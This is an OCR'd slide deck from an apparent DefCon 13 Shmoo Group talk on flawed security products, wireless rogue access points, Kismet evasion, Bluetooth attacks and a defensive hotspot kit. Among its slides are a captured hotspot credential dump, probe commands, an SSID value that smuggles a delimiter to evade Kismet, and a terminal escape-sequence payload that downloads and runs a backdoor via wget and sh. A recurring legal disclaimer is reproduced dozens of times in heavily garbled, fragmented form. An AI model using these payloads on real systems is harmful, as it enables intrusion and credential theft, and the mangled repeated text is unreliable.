THIS FIRMWARE IS INTENDED FOR DEMONSTRATION PURPOSES ONLY! USE OR ABUSE AT YOUR OWN RISK!

BusyBox v1.00 (2005.07.19-00:42+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands.

airsnarf ~# cat /opt/airsnarfs.txt
redirect=http://www.google.com/
username=shmoouser password=shmoopassword accept_terms=yes redirect=http://www.g
oogle.com/ mode_login=Login
airsnarf ~# []

http://airsnarf.shmoo.com/rogue_squadron/

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entilled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or even preventing authorized access without a warrant specific to each person's email Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



Heeeeeere's Rodney!

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant even access specific to each person's email Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment



Shooting Your Security Wad

(Never let Beetle title your slides)



The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute Violation of this statute by enforcement agents is very likelv to result in a civil suit as provided Section 2000aa-6. and every person work product material on this system is en to recover at least minimum damages of \$1000 plus all lega expenses. Agents in states may not be protected from personal civil liability they violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant ic to each person's email the computer where email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 plus all expenses for violations Section 2700 and 2703 ensure you have appropriate warrants before seizing equipment



Why is Rodney ranting now?

- Been doing product reviews (public and private)
- Keep seeing some incredibly lame product "features"

DefCon 13

• There's a risk of FPGS (Ford Pinto Gastank Syndrome)

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is material" product protected under The First Amendmer Protection Act of Section that this is a Section 2000aa-6 and every states mav not be personal civil liability violate this statute

stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which in storage less than 180 on this system davs stored electronic communications are protected ECPA from seizure preventing authorized without a o each person's resides such authorized access. There are civil actions which may be taken aq ainst law provision of the find them in USC 18. system you to collect \$1000 for vou have au before seizing



Four Hard Questions?

- Does your product produce an external log?
- Do you have a security incident report mechanism?
- Does your product store it's key material securely?
- Do you provide a secure management interface?

Why are these hard questions in 2005?

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute Violation of this statute by enforcement agents likelv to result in a civil suit as provided Section 2000aa-6. and every person work product material on this system is en to recover at least minimum damages of \$1000 plus all lega expenses. Agents in states may not be protected from personal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or 'preventing authorized "without a warrant ic to each person's email the computer email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents unde provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 plus all expenses for violations of Section 2700 and 27 ensure you have appropriate warrants before seizing equipmen



Don't make things worse

- Security products should NOT increase the attack surface.
- Central servers are single points of failure

- Communicate securely among your components
- Don't run sloppy distro's

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is material" product protected under The First Amendmen Privacy Protection Act of Section 2000aa) Note that this is a civil state ement agents to result in a civil suit as Section 2000aa-6 and every proc on this sys states may not be from personal civil liability violate this statute

there is email, i.e 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) in storage less than been on this system days stóred electronic communications are protected ECPA from seizure or preventing authorized without resides such authorized access. There are civil actions which may be taken ag ainst law provision of the Act find them in USC 18. this system you to collect \$1000 for you have at before seizing



Stupid Vendor Tricks

- No logging when there are errors
- No logging upon start-up
- Self-signed certificates ONLY
- No capability for change control
- Incoherent documentation/UI
- Follow the damn protocol specs

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is material" product protected under The First Amendmen Privacy Protection Act of 42 Section that this is a ement agents to result in a civil Section and every proc on this sys states may not be from personal civil liability they violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which in storage less than been on this system davs stóred electronic communications are protected the ECPA from seizure preventing authorized without a to each person's resides such authorized access. There are civil actions which may be taken aq ainst law provision of the Act find them in USC 18. system you can to collect \$1000 for you have at before seizing equipmen



Attacks you should try

- Run NMAP and NESSUS (or your fav commercial equivalent)
- telnet 10.0.0.1 22
- openssl s_client -connect 10.0.0.1:443 -ssl2
- Go after the web interface
- Ettercap
- Google for a random relevant exploit and try it (or one off a security mailing list)

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute Violation of this statute by law enforcement agents is verv likely to result in a civil suit as provided Section 2000aa-6. and every person who Each has work product material stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability they violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant specific to each person's email the computer where email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. ensure you have appropriate warrants before seizing this equipment



How you can make things better

- (We're not the bad guys. We're trying to be educated consumers. Here's some things you can do to help make things better.)
- If you show how one of these possible flaws can be broke, submit to present it at shmoocon 2006)



The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute violation of this statute by enforcement agents is very likelv to result in a civil suit as provided Section 2000aa-6. and every person work product material on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in states may not be protected from personal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant ic to each person's email the computer where email resides such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You find them in USC 18, 2707. this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 plus all expenses for violations _ of Section 2700 and 2703 Please you have appropriate before seizing



How you can make things better

- Report flaws to the vendor
- Document risks caused by security gear
- Disrupt future purchases of clueless security gear
- Encourage future purchases of cluefull security gear
- Show how easy it is to break things

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this product of the storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment



Did you want more gear? Okey dokey. CowboyM, show 'em what you got.

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 dem of this restoration and the storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or even preventing authorized access without a warrant specific to each person's email Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



802.11bloodhound

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.





The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.





The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entilled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access:" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.




The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.





The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or even preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this extrem you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



Cazz Kicks Ass

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.





The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



Announcing PotKettle Industries

- Exploit the exploiters
- ???
- Profit



The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000a). Note that this is a civil statute Violation of this statute by enforcement agents is very likelv to result in a civil suit as provided Section 2000aa-6. and every person Each work product material stored on this system is enti to recover at least minimum damages of \$1000 plus all legal expenses. Agents in states may not be protected from personal civil liability they violate this statute

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant ic to each person's email the computer where email resídes would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 plus all expenses for violations Section 2700 and 2703 ensure you have appropriate warrants before seizing equipment



Multihtml.c exploit remote vulnerability

- Category: Remote for Remote
- Vendor: bansh33
 <rishi@siegesoft.com>
- Affects: All Platforms
- URL:

http://potkettle.net/advisories/1

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can thid them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



Kismet Evasion

• So, wanna evade kismet?

scanned = sscanf(in_data+hdrlen+18, "%d \001%255[^\001]\001 "

"\001%255[^\001]\001 "

"%d %d %d %d %d %d %d %d %hd.%hd.%hd.%hd "

"%d %f %f %f %f %f %f %f %f %d %d %d %f %d %d %d %d %d %d %d "

"%f %f %f %lf %lf %lf %ld %ld"

"%d %d %d %d %d %d %d",

(int *) &type, ssid, beaconstr,

&llc_packets, &data_packets, &crypt_packets,

Set your SSID to "shmoo\x01"
 DefCon 13

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa) Note that this is a civil statu /iolation of this statute cement agents likeh to result in a civil suit as provided Section 2000aa-6 and every work produ on this system is er to recover at damages of \$1000 plus all lega expenses. Agents in states may not be protected from personal civil liability they violate this statute

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which been in storage less than 180 on this system. days stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a c to each person's email the computer email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents provision of the Act. You find them in USC 18, 2707. this system you can Each of them is to collect \$1000 expenses for Section 2700 and 27 ensure you have appropriate warrants before seizing equipment



And MORE...!

- Wanna own Metasploit & Canvas users?
- Use HDM's exploits against his own projects?

DefCon 13

echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh

bd\rexit\r:]\a\e]10;[show]\a"

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entilled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



And Bruce gets to rant, too!

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute Violation of this statute by cement agents likelv to result in a civil suit as provided Section 2000aa-6 and every work product on this system is er to recover at damages of \$1000 plus all lega expenses. Agents in states may not be protected from personal civil liability they violate this statute

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a ic to each person's the computer email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents provision of the Act. You find them in USC 18, 2707. On this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 expenses for Section 2700 and 2 ensure you have appropriate warrants before seizing equipment



Bluetooth Security

• Things have gotten worse, not better

- Millions more radios than last year
- Several high profile vulnerabilities
- Near zero focus from enterprises
- Trifinite.org's work
 - Blooover quite the uber tool

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendmen Privacy Protection Act of 1980 42. Section 2000aa) Note that this is a civil statute tion of this statute ement agents to result in a civil suit as provided Section 2000aa-6 and every work prod on this system is er to recover at damages of \$1000 plus all lega states may not be from persónal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 on this system. days Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a c to each person's email the computer email resides such authorized access. There are civil actions which may be taken against law provision of the Act. You find them in USC 18, 2707. this system you can Each of them is to collect \$1000 expenses for tion 2700 and 2 you have ap before seizing



Bluetooth Security

- Several other attacks via AT commands
 - Dialing, getting data, etc... not good things to do without authentication
- Pairing attacks, known for years, are now being coded and used
- WIDS still seems to equal 802.11 tho...
 - Gonna be a bad year for IT security

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1 42. Section 2000aa) Note that this is a civil state ion of this statute ement agents to result in a civil suit as provided Section 2000aa-6 and every work prod on this system is er to recover at damages of \$1000 plus all lega expenses. Agents in states may not be protected from persónal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which been in storage less than 180 on this system. davs stóred electronic communications are protected by the ECPA from seizure of preventing authorized without a to each person's the computer email resides prevent such authorized access. There are civil actions which may be taken against law provision of the Act. find them in USC 18, 2707. this system you can Each of them is to collect \$1000 for you have approx before seizing



Defending Wireless Networks

- We seemed to have covered a lot of ground on the Offensive.. What about Defense *boom boom* Defense!
- First there was Host Spot Defense Kit (HSDK)
 - Released BH Fed 03
 - Looked for directed rogue AP attacks against your client

DefCon 13

- OS X, Linux, and Windows code

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendmen Privacy Protection Act of 1 42. Section 2000aa) Note that this is a civil statute ement agents to result in a civil suit as provided Section 2000aa-6 and every prod on this syst damages of \$1000 plus all lega states may not be from persónal civil liability they violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which been in storage less than 180 on this system. davs stóred electronic communications are protected by the ECPA from seizure preventing authorized without a to each person's email resides such authorized access. There are civil actions which may be taken against law under provision of the Act. You find them in USC 18, 2707. this system you can Each of them is to collect \$1000 for you have appropriate before seizing



Defending Wireless Networks

- At the time of HSDK, there was NO capability for rogue detection in commercially avail software
- Today, we're still not much better
 - AirDefense Mobile, some other small stuff
 - Rogues are THE BIGGEST threat against enterprise networks
- So, while the industry is still finding their whatnot with both hands, we're making...

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6 Each and every person who has work product material stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or "preventing authorized " without a warrant specific to each person's email Seizing the computer where email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. ensure you have appropriate warrants before seizing this equipment



Hot Spot Defense Kit v2

- Enterprise wireless IDS systems look for any attack, not just one directed at a particular client
- When you are on the road (or don't have the "luxury" of an enterprise WIDS) you need the same kind of protection



The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute Violation of this statute by law enforcement agents is verv likelv to result in a civil suit as provided Section 2000aa-6 and every person who Each work product material stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in states may not be protected from personal civil liability if they violate this statute

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant specific to each person's email the computer where email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations Section 2700 and 2703. ensure you have appropriate warrants before seizing this equipment



Hot Spot Defense Kit v2

• HSDK v 2 aims to be an environmental monitor of sorts

- Looks for any zip in the wire, not just ones directly effecting the client
- If you're in downtown Baltimore, and someone starts shooting, you tend to freak out even if they're not shooting at you... wireless shouldn't be any different

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendmen Privacy Protection Act of 1 42. Section 2000aa) Note that this is a civil statu ion of this statute ement agents to result in a civil suit as provided Section 2000aa-6 and every prod on this system is er to recover at damages of \$1000 plus all lega states may not be from persónal civil liability they violate this statute

In addition, there is email, i.e 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which been in storage less than on this system days stóred electronic communications are protected by the ECPA from seizure preventing authorized without a c to each person's the computer email resides such authorized access. There are civil actions which may be taken against law provision of the Act. find them in USC 18, 2707. this system you can Each of them is to collect \$1000 for you have appropriate before seizing



HSDK v2

- Still under development
- Looking for:
 - Mass auth/deauth/assoc attacks
 - Fake AP signatures
 - Reinjection attacks (hard)
 - The standard rogue detection stuff from v1
- If something is detected, the green ball turns red (step away from the computer)
 - If security software isn't usable, it's
 useless
 DefCon 13

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

there is email, i.e stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) in storage less than on this system davs stored communications are ECPA from seizure preventing authorized without a to each person's email resides authorized such access. There are civil actions which may be taken against law sion of the Act find them in USC 18. system you can to collect \$1000 for vou have a before seizing

Speaking of...

- As security professionals, we sure haven't learned much
 - Security needs to be usable by the users
 - Users need hueristic decisions made for them and presented in red or green balls
 - Security admins need to act like professionals and have a real understanding of their operations



The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entilled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 demonstrations and the storage less than 200 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized s without a warrant even access" specific to each person's email Seizing the computer where this email resides would access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this extrem you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment





The owners and users of this system are exercising First Amendment rights.

